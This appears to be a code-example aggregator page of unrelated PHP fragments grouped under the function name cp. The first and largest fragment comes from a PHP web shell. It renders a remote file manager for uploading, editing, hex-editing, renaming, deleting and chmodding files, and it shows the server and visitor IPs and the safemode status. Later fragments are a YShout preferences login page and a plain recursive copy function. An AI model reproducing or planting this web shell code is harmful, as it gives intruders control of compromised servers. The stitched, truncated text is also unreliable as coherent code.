                $s_lhref = $s_self . "cd=" . $s_cwd . $s_l . DIRECTORY_SEPARATOR;
                $s_lsize = "DIR";
                $s_laction = "\n\t\t\t\t<span id='" . cs($s_l) . "_link'>\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $s_cwd . $s_l . DIRECTORY_SEPARATOR . "&find=" . $s_cwd . $s_l . DIRECTORY_SEPARATOR . "' title='find something' onclick='return false;'>find</a> |\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $s_cwd . $s_l . DIRECTORY_SEPARATOR . "&x=upload' title='upload' onclick='return false;'>upl</a> |\n\t\t\t\t\t<a href=\"javascript:tukar('" . cs($s_l) . "_link','" . cs($s_l) . "_form');\" title='rename'>ren</a> |\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $s_cwd . "&del=" . $s_l . "' title='delete' onclick='return false;'>del</a>\n\t\t\t\t</span>\n\t\t\t\t<div id='" . cs($s_l) . "_form' class='sembunyi'>\n\t\t\t\t\t<form action='" . $s_self . "' method='post'>\n\t\t\t\t\t<input type='hidden' name='oldname' value='" . $s_l . "' />\n\t\t\t\t\t<input type='hidden' name='cd' value='" . $s_cwd . "' />\n\t\t\t\t\t<input class='inputz' style='width:80px;' type='text' id='" . cs($s_l) . "_link_' name='newname' value='" . $s_l . "' />\n\t\t\t\t\t<input class='inputzbut' type='submit' name='rename' value='ren' />\n\t\t\t\t\t</form>\n\t\t\t\t\t<input class='inputzbut' type='button' value='x' onclick=\"tukar('" . cs($s_l) . "_form','" . cs($s_l) . "_link');\" />\n\t\t\t\t</div>";
                $s_total_dir++;
            }
            $s_lname = "[ " . $s_l . " ]";
            $s_lsizetit = "0";
            $s_lnametit = "dir : " . $s_l;
        } else {
            $s_lhref = $s_self . "view=" . $s_cwd . $s_l;
            $s_lname = $s_l;
            $s_lsize = gs($s_l);
            $s_lsizetit = @filesize($s_l);
            $s_lnametit = "file : " . $s_l;
            $s_laction = "\n\t\t\t<div id='" . cs($s_l) . "_form' class='sembunyi'>\n\t\t\t\t<form action='" . $s_self . "' method='post'>\n\t\t\t\t<input type='hidden' name='oldname' value='" . $s_l . "' />\n\t\t\t\t<input class='inputz' style='width:80px;' type='text' id='" . cs($s_l) . "_link_' name='newname' value='" . $s_l . "' />\n\t\t\t\t<input class='inputzbut' type='submit' name='rename' value='ren' />\n\t\t\t\t</form>\n\t\t\t\t<input class='inputzbut' type='button' value='x' onclick=\"tukar('" . cs($s_l) . "_form','" . cs($s_l) . "_link');\" />\n\t\t\t</div>\n\t\t\t<span id='" . cs($s_l) . "_link'>\n\t\t\t\t<a href='" . $s_self . "edit=" . $s_cwd . $s_l . "' title='edit' onclick='return false;'>edit</a> |\n\t\t\t\t<a href='" . $s_self . "hexedit=" . $s_cwd . $s_l . "' title='edit as hex' onclick='return false;'>hex</a> |\n\t\t\t\t<a href=\"javascript:tukar('" . cs($s_l) . "_link','" . cs($s_l) . "_form');\" title='rename'>ren</a> |\n\t\t\t\t<a href='" . $s_self . "del=" . $s_cwd . $s_l . "' title='delete' onclick='return false;'>del</a>\n\t\t\t</span>";
            $s_total_file++;
        }
        if ($s_l != '.' && $s_l != '..') {
            $s_cboxes = "<input id='" . md5($s_lhref) . "' name='cbox' value='" . $s_cwd . $s_l . "' type='checkbox' class='css-checkbox' onchange='hilite(this);' />\n\t\t\t\t\t\t<label for='" . md5($s_lhref) . "' class='css-label'></label>\n\t\t\t\t\t\t";
        } else {
            $s_cboxes = "~";
        }
        $s_ldl = str_replace("__dlpath__", $s_l, $s_arc);
        $s_buff .= "\n\t\t<tr>\n\t\t<td style='text-align:center;text-indent:4px;'>" . $s_cboxes . "</td>\n\t\t<td class='explorelist' title='" . $s_lnametit . "' ondblclick=\"return go('" . addslashes($s_lhref) . "',event);\">\n\t\t\t<a href='" . $s_lhref . "' onclick='return false;'>" . $s_lname . "</a>\n\t\t</td>\n\t\t<td title='" . $s_lsizetit . "'>" . $s_lsize . "</td>\n\t\t" . $s_owner_html . "\n\t\t<td style='text-align:center;'>" . gp($s_l) . "</td>\n\t\t<td style='text-align:center;'>" . @date("d-M-Y H:i:s", filemtime($s_l)) . "</td>\n\t\t<td>" . $s_laction . "</td>\n\t\t<td>" . $s_ldl . "</td></tr>";
    }
    $s_extract = "";
    $s_compress = "";
    if (class_exists("ZipArchive")) {
        $s_extract .= "<option value='extractzip'>extract (zip)</option>\n\t\t\t\t";
        $s_compress .= "<option value='compresszip'>compress (zip)</option>\n\t\t\t\t";
    }
    if ($s_tar) {
        $s_extract .= "<option value='extracttar'>extract (tar)</option>\n\t\t\t\t\t<option value='extracttargz'>extract (tar.gz)</option>\n\t\t\t\t";
        $s_compress .= "<option value='compresstar'>compress (tar)</option>\n\t\t\t\t<option value='compresstargz'>compress (tar.gz)</option>";
    }
    $s_buff .= "<tfoot><tr class='cbox_selected'><td class='cbox_all'>\n\t\t\t<form action='" . $s_self . "' method='post'>\n\t\t\t<input id='checkalll' type='checkbox' name='abox' class='css-checkbox' onclick='checkall();' />\n\t\t\t<label for='checkalll' class='css-label'></label>\n\t\t\t</td><td>\n\t\t\t<select id='massact' class='inputzbut' onchange='massactgo();' style='width:100%;height:20px;margin:0;'>\n\t\t\t\t<option value='' disabled selected>Action</option>\n\t\t\t\t<option value='cut'>cut</option>\n\t\t\t\t<option value='copy'>copy</option>\n\t\t\t\t<option value='paste'>paste</option>\n\t\t\t\t<option value='delete'>delete</option>\n\t\t\t\t<option value='' disabled>-</option>\n\t\t\t\t<option value='chmod'>chmod</option>\n\t\t\t\t<option value='touch'>touch</option>\n\t\t\t\t<option value='' disabled>-</option>\n\t\t\t\t" . $s_compress . $s_extract . "\n\t\t\t</select>\n\t\t\t</td><td colspan='" . $s_colspan . "' style='text-align:left;'><noscript><input type='button' value='Go !' class='inputzbut' onclick='massactgo();' /></noscript>Total : " . $s_total_file . " files, " . $s_total_dir . " Directories</td>\n\t\t\t</form>\n\t\t\t</td>\n\t\t\t</tr></tfoot>\n\t\t\t</table>\n\t\t\t";
    return $s_buff;
}
Пример #15
0
        }
    }
    // print useful info
    $s_info = "<table class=\"headtbl\"><tr><td>" . $s_software . "</td></tr>";
    $s_info .= "<tr><td>" . $s_system . "</td></tr>";
    if ($s_id != "") {
        $s_info .= "<tr><td>" . $s_id . "</td></tr>";
    }
    $s_info .= "<tr><td>server ip : " . $s_server_ip . "<span class=\"gaya\"> | </span>your   ip : " . $s_my_ip . "<span class=\"gaya\"> | </span>";
    if ($s_safemode) {
        $s_info .= "safemode <span class=\"gaya\">ON</span>";
    } else {
        $s_info .= "safemode <span class=\"gaya\">OFF</span>";
    }
    $s_info .= "<span class=\"gaya\"> | </span> Time @ Server : " . date("d M Y H:i:s", time());
    $s_info .= "\n\t\t</td></tr>\n\t\t<tr><td style=\"text-align:left;\">\n\t\t\t<table class=\"headtbls\"><tr>\n\t\t\t<td>" . trim($letters) . "</td>\n\t\t\t<td>\n\t\t\t<span id=\"chpwd\">\n\t\t\t&nbsp;<a href=\"javascript:tukar('chpwd','chpwdform')\">\n\t\t\t<img height=\"16px\" width=\"16px\" src=\"" . $_SERVER['PHP_SELF'] . "?favicon\" alt=\"Change\" style=\"vertical-align:middle;margin:6px 0;border:0;\" />\n\t\t\t&nbsp;&nbsp;</a>" . swd($pwd) . "</span>\n\t\t\t<form action=\"" . $_SERVER['PHP_SELF'] . "\" method=\"post\" style=\"margin:0;padding:0;\">\n\t\t\t<span class=\"sembunyi\" id=\"chpwdform\">\n\t\t\t&nbsp;<a href=\"javascript:tukar('chpwdform','chpwd');\">\n\t\t\t<img height=\"16px\" width=\"16px\" src=\"" . $_SERVER['PHP_SELF'] . "?favicon\" alt=\"Change\" style=\"vertical-align:middle;margin:6px 0;border:0;\" />\n\t\t\t</a>&nbsp;&nbsp;\n\t\t\t<input type=\"hidden\" name=\"d\" class=\"inputz\" style=\"width:300px;\" value=\"" . cp($pwd) . "\" />\n\t\t\t<input type=\"text\" name=\"view\" class=\"inputz\" style=\"width:300px;\" value=\"" . $pwd . "\" />\n\t\t\t<input class=\"inputzbut\" type=\"submit\" name=\"submit\" value=\"view file / folder\" />\n\t\t\t<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('chpwdform','chpwd');\" />\n\t\t\t</form>\n\t\t\t</span>\n\t\t\t</td></tr>\n\t\t\t</table>\n\t\t</td></tr>\n\t\t</table>";
}
// OK now... thats the <brain>,, here comes the <head>
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<title><?php 
echo $s_title;
?>
</title>
<link rel="SHORTCUT ICON" href="<?php 
echo $_SERVER['PHP_SELF'] . "?favicon";
Пример #16
0
	<body>
		<div id="cp">
			<div id="nav">
				<ul>
					<li id="n-prefs"><a href="#">Preferences</a></li>
					<li id="n-bans"><a href="#">Bans</a></li>
					<li id="n-about"><a href="#">About</a></li>
				</ul>
			</div>

			<div id="content">
				<div class="section" id="login">
					<div class="header">
						<h1>YShout.Preferences</h1>
					</div>

					<form id="login-form" action="index.php" method="post">
						<label for="login-password">Password:</label>
						<input type="password" id="login-password" name="loginPassword">
						<span id="login-loading">Loading...</span>
					</form>
				</div>
				<?php 
if (loggedIn()) {
    echo cp();
}
?>
			</div>
		</div>
	</body>
</html>
Пример #17
0
function cp($wf, $wto, $exclude = array())
{
    if (!file_exists($wf)) {
        return;
    }
    if (!file_exists($wto)) {
        mkdir($wto);
    }
    $arr = ls_a($wf);
    foreach ($arr as $fn) {
        if (in_array($fn, $exclude)) {
            continue;
        }
        if ($fn) {
            $fl = "{$wf}/{$fn}";
            $flto = "{$wto}/{$fn}";
            if (is_dir($fl)) {
                cp($fl, $flto);
            } else {
                copy($fl, $flto);
            }
        }
    }
}